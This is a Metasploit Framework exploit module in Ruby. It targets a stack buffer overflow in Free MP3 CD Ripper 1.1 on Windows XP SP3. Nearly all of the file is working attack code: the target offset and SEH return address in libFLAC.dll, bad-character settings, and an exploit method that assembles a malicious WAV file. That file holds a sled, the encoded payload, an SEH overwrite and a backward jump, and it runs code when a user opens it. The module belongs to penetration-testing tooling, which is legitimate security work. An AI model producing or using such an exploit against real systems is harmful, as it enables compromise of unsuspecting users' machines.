##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow found in Free MP3 CD
    Ripper 1.1.  The overflow is triggered when an unsuspecting user opens a malicious
    WAV file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Richard Leahy',    # Initial discovery
     'X-h4ck',           # msf module is based on his poc
     'Tiago Henriques',  # msf module
     'James Fitts'       # clean ups
    ],
   'References'     =>
    [
     [ 'OSVDG', '63349' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure
     [ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
     'DisableNops' => 'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 EN',
      {
       'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
       'Offset' => 4116
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 27 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.wav']),
   ], self.class)
 end

 def exploit

  wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
  wav << payload.encoded
  wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
  wav << generate_seh_record(target.ret)
  wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
  wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(wav)

 end

end